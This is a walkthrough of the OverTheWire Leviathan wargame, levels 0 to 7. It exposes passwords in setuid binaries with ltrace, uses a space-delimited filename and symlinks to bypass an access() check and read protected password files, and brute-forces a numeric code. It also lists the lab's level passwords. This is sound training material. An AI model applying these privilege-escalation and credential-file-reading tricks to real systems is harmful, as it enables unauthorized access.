OverTheWire - Leviathan 0-7
Prompt
Dare you face the lord of the oceans?
Leviathan is a wargame that has been rescued from the demise of intruded.net, previously hosted on leviathan.intruded.net.
Level 0
leviathan0:leviathan0
Check the hidden .backup folder, and look through the long bookmarks file.
leviathan0@leviathan:~/.backup$ grep leviathan bookmarks.html
<DT><A HREF="http://leviathan.labs.overthewire.org/passwordus.html | This will be fixed later, the password for leviathan1 is rioGegei8m" ADD_DATE="1155384634" LAST_CHARSET="ISO-8859-1" ID="rdf:#$2wIU71">password to leviathan1</A>
Level 1
leviathan1:rioGegei8m
We are presented with an executable with its setuid flag set, which means elevated privileges. Using a cheeky ltrace
, we find the password in a strcmp
.
leviathan1@leviathan:~$ file check
check: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=c735f6f3a3a94adcad8407cc0fda40496fd765dd, not stripped
leviathan1@leviathan:~$ ltrace ./check
__libc_start_main(0x804853b, 1, 0xffffd784, 0x8048610 <unfinished ...>
printf("password: ") = 10
getchar(1, 0, 0x65766f6c, 0x646f6700password: hi
) = 104
getchar(1, 0, 0x65766f6c, 0x646f6700) = 105
getchar(1, 0, 0x65766f6c, 0x646f6700) = 10
strcmp("hi\n", "sex") = -1
puts("Wrong password, Good Bye ..."Wrong password, Good Bye ...
) = 29
+++ exited (status 0) +++
leviathan1@leviathan:~$ ./check
password: sex
$ whoami
leviathan2
$ cat /etc/leviathan_pass/leviathan2
ougahZi8Ta
Reference: https://rainbow.chard.org/2011/10/02/debug-like-a-sysadmin/
Level 2
leviathan2:ougahZi8Ta
Using ltrace
, we can see that our parameter is passed into cat
using string interpolation in snprintf()
after access()
checks whether the calling process can access the file pathname.
leviathan2@leviathan:~$ ltrace ./printfile /etc/leviathan_pass/leviathan2
__libc_start_main(0x804852b, 2, 0xffffd764, 0x8048610 <unfinished ...>
access("/etc/leviathan_pass/leviathan2", 4) = 0
snprintf("/bin/cat /etc/leviathan_pass/lev"..., 511, "/bin/cat %s", "/etc/leviathan_pass/leviathan2") = 39
geteuid() = 12002
geteuid() = 12002
setreuid(12002, 12002) = 0
system("/bin/cat /etc/leviathan_pass/lev"...ougahZi8Ta
<no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 0
+++ exited (status 0) +++
So if we pass in the name of a file that can be read but includes our filename delimited with a space, we can bypass access()
and open two files with cat
. Because we cannot create file names that includes “/etc/leviathan_pass/leviathan3” due to the nature of the /
character, we have to create a symbolic link to our password file to include.
leviathan2@leviathan:~$ mkdir /tmp/omicronjob && cd $_
leviathan2@leviathan:/tmp/omicronjob$ echo "dummy file" > dummy
leviathan2@leviathan:/tmp/omicronjob$ ln -s /etc/leviathan_pass/leviathan3 link
leviathan2@leviathan:/tmp/omicronjob$ echo "sneaky" > dummy\ link
It looks like our files were passed in. Success!
leviathan2@leviathan:/tmp/omicronjob$ ltrace ~/printfile "dummy link"
__libc_start_main(0x804852b, 2, 0xffffd744, 0x8048610 <unfinished ...>
access("dummy link", 4) = 0
snprintf("/bin/cat dummy link", 511, "/bin/cat %s", "dummy link") = 19
geteuid() = 12002
geteuid() = 12002
setreuid(12002, 12002) = 0
system("/bin/cat dummy link"dummy file
/bin/cat: link: Permission denied
<no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 256
+++ exited (status 0) +++
leviathan2@leviathan:/tmp/omicronjob$ ~/printfile "dummy link"
dummy file
Ahdiemoo1j
Level 3
leviathan3:Ahdiemoo1j
Here the password is compared with “snlprintf”.
leviathan3@leviathan:~$ ltrace ./level3
__libc_start_main(0x8048618, 1, 0xffffd784, 0x80486d0 <unfinished ...>
strcmp("h0no33", "kakaka") = -1
printf("Enter the password> ") = 20
fgets(Enter the password> letmein
"letmein\n", 256, 0xf7fc55a0) = 0xffffd590
strcmp("letmein\n", "snlprintf\n") = -1
puts("bzzzzzzzzap. WRONG"bzzzzzzzzap. WRONG
) = 19
+++ exited (status 0) +++
When we supply that string as the password, we are given a shell with leviathan4 privileges.
leviathan3@leviathan:~$ ./level3
Enter the password> snlprintf
[You've got shell]!
$ whoami
leviathan4
$ cat /etc/leviathan_pass/leviathan4
vuH0coox6m
Level 4
leviathan4:vuH0coox6m
It looks like our new binary just reads us the password which happens to be in binary.
leviathan4@leviathan:~$ cd .trash/
leviathan4@leviathan:~/.trash$ ls -al
total 16
dr-xr-x--- 2 root leviathan4 4096 Aug 26 2019 .
drwxr-xr-x 3 root root 4096 Aug 26 2019 ..
-r-sr-x--- 1 leviathan5 leviathan4 7352 Aug 26 2019 bin
leviathan4@leviathan:~/.trash$ ltrace ./bin
__libc_start_main(0x80484bb, 1, 0xffffd774, 0x80485b0 <unfinished ...>
fopen("/etc/leviathan_pass/leviathan5", "r") = 0
+++ exited (status 255) +++
leviathan4@leviathan:~/.trash$ ./bin
01010100 01101001 01110100 01101000 00110100 01100011 01101111 01101011 01100101 01101001 00001010
leviathan4@leviathan:~/.trash$ echo "01010100 01101001 01110100 01101000 00110100 01100011 01101111 01101011 01100101 01101001 00001010" | tr -d ' ' |perl -lpe '$_=pack"B*",$_'
Tith4cokei
Converting the binary to ASCII gives us Tith4cokei
.
Level 5
leviathan5:Tith4cokei
This one is pretty simple. We just have to create a log file to be read from with elevated privileges.
leviathan5@leviathan:~$ ./leviathan5
Cannot find /tmp/file.log
leviathan5@leviathan:~$ ln -s /etc/leviathan_pass/leviathan6 /tmp/file.log
leviathan5@leviathan:~$ ./leviathan5
UgaoFee4li
Level 6
leviathan6:UgaoFee4li
leviathan6@leviathan:~$ ./leviathan6
usage: ./leviathan6 <4 digit code>
leviathan6@leviathan:~$ ./leviathan6 4444
Wrong
leviathan6@leviathan:~$ ltrace ./leviathan6 4444
__libc_start_main(0x804853b, 2, 0xffffd774, 0x80485e0 <unfinished ...>
atoi(0xffffd8ab, 0, 0xf7e40890, 0x804862b) = 4444
puts("Wrong"Wrong
) = 6
+++ exited (status 0) +++
Let’s brute force it.
leviathan6@leviathan:~$ for i in {0000..9999}; do ./leviathan6 $i | grep -v Wrong; done
...
whoami
leviathan7
cat /etc/leviathan_pass/leviathan7
ahy7MaeBo9
Level 7
leviathan7:ahy7MaeBo9
The end!